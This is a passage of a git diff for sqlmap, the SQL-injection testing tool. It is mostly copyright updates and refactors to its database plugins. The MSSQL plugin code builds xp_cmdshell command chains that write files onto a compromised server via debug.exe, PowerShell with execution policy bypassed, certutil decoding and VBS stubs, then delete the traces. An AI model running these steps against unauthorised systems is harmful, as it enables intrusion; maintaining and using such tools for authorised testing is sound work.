logger.warn(warnMsg) + + return False + kb.data.has_information_schema = True Backend.setVersion(">= 1.7.2") setDbms("%s 1.7.2" % DBMS.HSQLDB) @@ -125,9 +132,12 @@ def checkDbms(self): return True else: - warnMsg = "the back-end DBMS is not %s or version is < 1.7.2" % DBMS.HSQLDB + warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB logger.warn(warnMsg) + dbgMsg = "...or version is < 1.7.2" + logger.debug(dbgMsg) + return False def getHostname(self): diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py index aab5e6b6c8f..b98351c593d 100644 --- a/plugins/dbms/hsqldb/syntax.py +++ b/plugins/dbms/hsqldb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/takeover.py b/plugins/dbms/hsqldb/takeover.py index dfa364d34e0..c3b09e34023 100644 --- a/plugins/dbms/hsqldb/takeover.py +++ b/plugins/dbms/hsqldb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/__init__.py b/plugins/dbms/informix/__init__.py index 0ae21bb3e6c..79a14664b86 100644 --- a/plugins/dbms/informix/__init__.py +++ b/plugins/dbms/informix/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py index 022e04e390d..75928066671 100644 --- a/plugins/dbms/informix/connector.py +++ b/plugins/dbms/informix/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -12,6 +12,7 @@ import logging +from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException @@ -19,9 +20,9 @@ class Connector(GenericConnector): """ - Homepage: http://code.google.com/p/ibm-db/ - User guide: http://code.google.com/p/ibm-db/wiki/README - API: http://www.python.org/dev/peps/pep-0249/ + Homepage: https://github.com/ibmdb/python-ibmdb + User guide: https://github.com/ibmdb/python-ibmdb/wiki/README + API: https://www.python.org/dev/peps/pep-0249/ License: Apache License 2.0 """ @@ -35,8 +36,7 @@ def connect(self): database = "DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) self.connector = ibm_db_dbi.connect(database, self.user, self.password) except ibm_db_dbi.OperationalError, msg: - raise SqlmapConnectionException(msg) - + raise SqlmapConnectionException(getSafeExString(msg)) self.initCursor() self.printConnected() @@ -45,16 +45,16 @@ def fetchall(self): try: return self.cursor.fetchall() except ibm_db_dbi.ProgrammingError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg)) return None def execute(self, query): try: self.cursor.execute(query) except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg)) except ibm_db_dbi.InternalError, msg: - raise SqlmapConnectionException(msg[1]) + raise SqlmapConnectionException(getSafeExString(msg)) self.connector.commit() diff --git a/plugins/dbms/informix/enumeration.py b/plugins/dbms/informix/enumeration.py index a41f881b4d8..985963fd924 100644 --- a/plugins/dbms/informix/enumeration.py +++ b/plugins/dbms/informix/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/filesystem.py b/plugins/dbms/informix/filesystem.py index 4699cb9b634..4f0d86be78e 100644 --- a/plugins/dbms/informix/filesystem.py +++ b/plugins/dbms/informix/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py index 8c7e15252b4..a582a93d6a7 100644 --- a/plugins/dbms/informix/fingerprint.py +++ b/plugins/dbms/informix/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -44,7 +44,7 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None + banVer = kb.bannerFp.get("dbmsVersion") banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) diff --git a/plugins/dbms/informix/syntax.py b/plugins/dbms/informix/syntax.py index 62b06283a60..2bd9c9e338c 100644 --- a/plugins/dbms/informix/syntax.py +++ b/plugins/dbms/informix/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -41,4 +41,4 @@ def escaper(value): for _ in excluded.items(): retVal = retVal.replace(_[1], _[0]) - return retVal \ No newline at end of file + return retVal diff --git a/plugins/dbms/informix/takeover.py b/plugins/dbms/informix/takeover.py index ba8026e8880..ca204b03495 100644 --- a/plugins/dbms/informix/takeover.py +++ b/plugins/dbms/informix/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/__init__.py b/plugins/dbms/maxdb/__init__.py index 9834a60573c..77e9c5a2556 100644 --- a/plugins/dbms/maxdb/__init__.py +++ b/plugins/dbms/maxdb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py index 9b4b8390f85..dd8f76a3a66 100644 --- a/plugins/dbms/maxdb/connector.py +++ b/plugins/dbms/maxdb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -13,6 +13,6 @@ def __init__(self): GenericConnector.__init__(self) def connect(self): - errMsg = "on SAP MaxDB it is not possible to establish a " + errMsg = "on SAP MaxDB it is not (currently) possible to establish a " errMsg += "direct connection" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index 3ab5770a738..ccc09d04d25 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -1,11 +1,10 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ -from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming @@ -43,9 +42,8 @@ def getDbs(self): logger.info(infoMsg) rootQuery = queries[DBMS.MAXDB].dbs - randStr = randomStr() query = rootQuery.inband.query - retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.schemaname' % randStr], blind=True) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.schemaname' % kb.aliasName], blind=True) if retVal: kb.data.cachedDbs = retVal[0].values()[0] @@ -79,9 +77,8 @@ def getTables(self, bruteForce=None): rootQuery = queries[DBMS.MAXDB].tables for db in dbs: - randStr = randomStr() query = rootQuery.inband.query % (("'%s'" % db) if db != "USER" else 'USER') - retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.tablename' % randStr], blind=True) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.tablename' % kb.aliasName], blind=True) if retVal: for table in retVal[0].values()[0]: @@ -108,7 +105,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod conf.db = self.getCurrentDb() elif conf.db is not None: - if ',' in conf.db: + if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) @@ -120,8 +117,8 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod else: colList = [] - if conf.excludeCol: - colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + if conf.exclude: + colList = [_ for _ in colList if _ not in conf.exclude.split(',')] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) @@ -184,9 +181,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod rootQuery = queries[DBMS.MAXDB].columns for tbl in tblList: - if conf.db is not None and len(kb.data.cachedColumns) > 0 \ - and conf.db in kb.data.cachedColumns and tbl in \ - kb.data.cachedColumns[conf.db]: + if conf.db is not None and len(kb.data.cachedColumns) > 0 and conf.db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) @@ -195,7 +190,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if dumpMode and colList: table = {} - table[safeSQLIdentificatorNaming(tbl)] = dict((_, None) for _ in colList) + table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table continue @@ -204,15 +199,14 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) - randStr = randomStr() query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER') - retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.columnname' % randStr, '%s.datatype' % randStr, '%s.len' % randStr], blind=True) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.columnname' % kb.aliasName, '%s.datatype' % kb.aliasName, '%s.len' % kb.aliasName], blind=True) if retVal: table = {} columns = {} - for columnname, datatype, length in zip(retVal[0]["%s.columnname" % randStr], retVal[0]["%s.datatype" % randStr], retVal[0]["%s.len" % randStr]): + for columnname, datatype, length in zip(retVal[0]["%s.columnname" % kb.aliasName], retVal[0]["%s.datatype" % kb.aliasName], retVal[0]["%s.len" % kb.aliasName]): columns[safeSQLIdentificatorNaming(columnname)] = "%s(%s)" % (datatype, length) table[tbl] = columns diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py index ec4c5c2bab1..45fb2040c47 100644 --- a/plugins/dbms/maxdb/filesystem.py +++ b/plugins/dbms/maxdb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index 0c6cb849662..4875a6e8bea 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/syntax.py b/plugins/dbms/maxdb/syntax.py index b946cfb04ad..c950f106474 100644 --- a/plugins/dbms/maxdb/syntax.py +++ b/plugins/dbms/maxdb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py index 29f0b7ecc18..d3f2172e3bd 100644 --- a/plugins/dbms/maxdb/takeover.py +++ b/plugins/dbms/maxdb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py index 202d6193c1c..acff62b9903 100644 --- a/plugins/dbms/mssqlserver/__init__.py +++ b/plugins/dbms/mssqlserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -15,7 +15,6 @@ from plugins.dbms.mssqlserver.takeover import Takeover from plugins.generic.misc import Miscellaneous - class MSSQLServerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Microsoft SQL Server methods diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index fe1cec52f85..4987bfa43e8 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -21,9 +21,9 @@ class Connector(GenericConnector): """ - Homepage: http://pymssql.sourceforge.net/ - User guide: http://pymssql.sourceforge.net/examples_pymssql.php - API: http://pymssql.sourceforge.net/ref_pymssql.php + Homepage: http://www.pymssql.org/en/stable/ + User guide: http://www.pymssql.org/en/stable/pymssql_examples.html + API: http://www.pymssql.org/en/stable/ref/pymssql.html Debian package: python-pymssql License: LGPL @@ -41,8 +41,10 @@ def connect(self): try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) - except (pymssql.Error, _mssql.MssqlDatabaseException), msg: + except (pymssql2.Error, _mssql.MssqlDatabaseException), msg: raise SqlmapConnectionException(msg) + except ValueError: + raise SqlmapConnectionException self.initCursor() self.printConnected() diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 83b1a4ff40f..e8a57f9fa42 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -14,6 +14,7 @@ from lib.core.common import isTechniqueAvailable from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeStringFormat +from lib.core.common import singleTimeLogMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf @@ -94,8 +95,12 @@ def getTables(self): for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db - logger.info(infoMsg) + singleTimeLogMessage(infoMsg) + continue + if conf.exclude and db in conf.exclude.split(','): + infoMsg = "skipping database '%s'" % db + singleTimeLogMessage(infoMsg) continue for query in (rootQuery.inband.query, rootQuery.inband.query2, rootQuery.inband.query3): @@ -113,8 +118,12 @@ def getTables(self): for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db - logger.info(infoMsg) + singleTimeLogMessage(infoMsg) + continue + if conf.exclude and db in conf.exclude.split(','): + infoMsg = "skipping database '%s'" % db + singleTimeLogMessage(infoMsg) continue infoMsg = "fetching number of tables for " @@ -199,8 +208,12 @@ def searchTable(self): if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db - logger.info(infoMsg) + singleTimeLogMessage(infoMsg) + continue + if conf.exclude and db in conf.exclude.split(','): + infoMsg = "skipping database '%s'" % db + singleTimeLogMessage(infoMsg) continue if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: @@ -271,8 +284,8 @@ def searchColumn(self): infoMsgDb = "" colList = conf.col.split(',') - if conf.excludeCol: - colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + if conf.exclude: + colList = [_ for _ in colList if _ not in conf.exclude.split(',')] origTbl = conf.tbl origDb = conf.db @@ -318,8 +331,7 @@ def searchColumn(self): _ = conf.db.split(',') infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) elif conf.excludeSysDbs: - msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) - logger.info(msg) + infoMsgDb = " not in system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) else: infoMsgDb = " across all databases" @@ -334,6 +346,9 @@ def searchColumn(self): if conf.excludeSysDbs and db in self.excludeDbsList: continue + if conf.exclude and db in conf.exclude.split(','): + continue + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) @@ -353,16 +368,16 @@ def searchColumn(self): if foundTbl not in dbs[db]: dbs[db][foundTbl] = {} - if colConsider == "1": + if colConsider == '1': conf.db = db conf.tbl = foundTbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) - if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\ - and not isNoneValue(kb.data.cachedColumns[db][foundTbl]): + if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db] and not isNoneValue(kb.data.cachedColumns[db][foundTbl]): dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl]) + kb.data.cachedColumns = {} else: dbs[db][foundTbl][column] = None diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index b8aeaaee071..105c49d2878 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -67,16 +67,19 @@ def _updateDestChunk(self, fileContent, tmpPath): chunkName = randomStr(lowercase=True) fileScrLines = self._dataToScr(fileContent, chunkName) - logger.debug("uploading debug script to %s\%s, please wait.." % (tmpPath, randScr)) + logger.debug("uploading debug script to %s\\%s, please wait.." % (tmpPath, randScr)) self.xpCmdshellWriteFile(fileScrLines, tmpPath, randScr) - logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, chunkName, randScr)) + logger.debug("generating chunk file %s\\%s from debug script %s" % (tmpPath, chunkName, randScr)) - commands = ("cd \"%s\"" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr) - complComm = " & ".join(command for command in commands) + commands = ( + "cd \"%s\"" % tmpPath, + "debug < %s" % randScr, + "del /F /Q %s" % randScr + ) - self.execCmd(complComm) + self.execCmd(" & ".join(command for command in commands)) return chunkName @@ -171,10 +174,10 @@ def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType): encodedFileContent = base64encode(wFileContent) encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True) - encodedBase64FilePath = "%s\%s" % (tmpPath, encodedBase64File) + encodedBase64FilePath = "%s\\%s" % (tmpPath, encodedBase64File) randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True) - randPSScriptPath = "%s\%s" % (tmpPath, randPSScript) + randPSScriptPath = "%s\\%s" % (tmpPath, randPSScript) wFileSize = len(encodedFileContent) chunkMaxSize = 1024 @@ -195,12 +198,13 @@ def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType): logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % dFile) - commands = ("powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath, - "del /F /Q \"%s\"" % encodedBase64FilePath, - "del /F /Q \"%s\"" % randPSScriptPath) - complComm = " & ".join(command for command in commands) + commands = ( + "powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath, + "del /F /Q \"%s\"" % encodedBase64FilePath, + "del /F /Q \"%s\"" % randPSScriptPath + ) - self.execCmd(complComm) + self.execCmd(" & ".join(command for command in commands)) def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType): infoMsg = "using debug.exe to write the %s " % fileType @@ -208,21 +212,24 @@ def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileTyp logger.info(infoMsg) dFileName = ntpath.basename(dFile) - sFile = "%s\%s" % (tmpPath, dFileName) + sFile = "%s\\%s" % (tmpPath, dFileName) wFileSize = os.path.getsize(wFile) debugSize = 0xFF00 if wFileSize < debugSize: chunkName = self._updateDestChunk(wFileContent, tmpPath) - debugMsg = "renaming chunk file %s\%s to %s " % (tmpPath, chunkName, fileType) - debugMsg += "file %s\%s and moving it to %s" % (tmpPath, dFileName, dFile) + debugMsg = "renaming chunk file %s\\%s to %s " % (tmpPath, chunkName, fileType) + debugMsg += "file %s\\%s and moving it to %s" % (tmpPath, dFileName, dFile) logger.debug(debugMsg) - commands = ("cd \"%s\"" % tmpPath, "ren %s %s" % (chunkName, dFileName), "move /Y %s %s" % (dFileName, dFile)) - complComm = " & ".join(command for command in commands) + commands = ( + "cd \"%s\"" % tmpPath, + "ren %s %s" % (chunkName, dFileName), + "move /Y %s %s" % (dFileName, dFile) + ) - self.execCmd(complComm) + self.execCmd(" & ".join(command for command in commands)) else: debugMsg = "the file is larger than %d bytes. " % debugSize debugMsg += "sqlmap will split it into chunks locally, upload " @@ -241,20 +248,25 @@ def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileTyp debugMsg = "appending chunk " copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName) - debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName) + debugMsg += "%s\\%s to %s file %s\\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName) logger.debug(debugMsg) - commands = ("cd \"%s\"" % tmpPath, copyCmd, "del /F /Q %s" % chunkName) - complComm = " & ".join(command for command in commands) + commands = ( + "cd \"%s\"" % tmpPath, + copyCmd, + "del /F /Q %s" % chunkName + ) - self.execCmd(complComm) + self.execCmd(" & ".join(command for command in commands)) logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile)) - commands = ("cd \"%s\"" % tmpPath, "move /Y %s %s" % (dFileName, dFile)) - complComm = " & ".join(command for command in commands) + commands = ( + "cd \"%s\"" % tmpPath, + "move /Y %s %s" % (dFileName, dFile) + ) - self.execCmd(complComm) + self.execCmd(" & ".join(command for command in commands)) def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType): infoMsg = "using a custom visual basic script to write the " @@ -263,7 +275,7 @@ def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType): randVbs = "tmps%s.vbs" % randomStr(lowercase=True) randFile = "tmpf%s.txt" % randomStr(lowercase=True) - randFilePath = "%s\%s" % (tmpPath, randFile) + randFilePath = "%s\\%s" % (tmpPath, randFile) vbs = """Dim inputFilePath, outputFilePath inputFilePath = "%s" @@ -326,16 +338,18 @@ def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType): self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile) - logger.debug("uploading a visual basic decoder stub %s\%s, please wait.." % (tmpPath, randVbs)) + logger.debug("uploading a visual basic decoder stub %s\\%s, please wait.." % (tmpPath, randVbs)) self.xpCmdshellWriteFile(vbs, tmpPath, randVbs) - commands = ("cd \"%s\"" % tmpPath, "cscript //nologo %s" % randVbs, - "del /F /Q %s" % randVbs, - "del /F /Q %s" % randFile) - complComm = " & ".join(command for command in commands) + commands = ( + "cd \"%s\"" % tmpPath, + "cscript //nologo %s" % randVbs, + "del /F /Q %s" % randVbs, + "del /F /Q %s" % randFile + ) - self.execCmd(complComm) + self.execCmd(" & ".join(command for command in commands)) def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, fileType): infoMsg = "using certutil.exe to write the %s " % fileType @@ -345,11 +359,11 @@ def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, file chunkMaxSize = 500 randFile = "tmpf%s.txt" % randomStr(lowercase=True) - randFilePath = "%s\%s" % (tmpPath, randFile) + randFilePath = "%s\\%s" % (tmpPath, randFile) encodedFileContent = base64encode(wFileContent) - splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i+chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)]) + splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i + chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)]) logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) @@ -357,11 +371,13 @@ def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, file logger.debug("decoding the file to %s.." % dFile) - commands = ("cd \"%s\"" % tmpPath, "certutil -f -decode %s %s" % (randFile, dFile), - "del /F /Q %s" % randFile) - complComm = " & ".join(command for command in commands) + commands = ( + "cd \"%s\"" % tmpPath, + "certutil -f -decode %s %s" % (randFile, dFile), + "del /F /Q %s" % randFile + ) - self.execCmd(complComm) + self.execCmd(" & ".join(command for command in commands)) def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): # NOTE: this is needed here because we use xp_cmdshell extended diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 67992416c6b..065e3bd25ec 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -46,9 +46,9 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None - version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None - servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None + release = kb.bannerFp.get("dbmsRelease") + version = kb.bannerFp.get("dbmsVersion") + servicepack = kb.bannerFp.get("dbmsServicePack") if release and version and servicepack: banVer = "%s %s " % (DBMS.MSSQL, release) @@ -88,12 +88,14 @@ def checkDbms(self): infoMsg = "confirming %s" % DBMS.MSSQL logger.info(infoMsg) - for version, check in (("2000", "HOST_NAME()=HOST_NAME()"), \ - ("2005", "XACT_STATE()=XACT_STATE()"), \ - ("2008", "SYSDATETIME()=SYSDATETIME()"), \ - ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), \ - ("2014", "CHARINDEX('12.0.2000',@@version)>0"), \ - ("2016", "ISJSON(NULL) IS NULL")): + for version, check in ( + ("2000", "HOST_NAME()=HOST_NAME()"), + ("2005", "XACT_STATE()=XACT_STATE()"), + ("2008", "SYSDATETIME()=SYSDATETIME()"), + ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), + ("2014", "CHARINDEX('12.0.2000',@@version)>0"), + ("2016", "ISJSON(NULL) IS NULL") + ): result = inject.checkBooleanExpression(check) if result: @@ -134,16 +136,18 @@ def checkDbmsOs(self, detailed=False): self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) - # Reference: 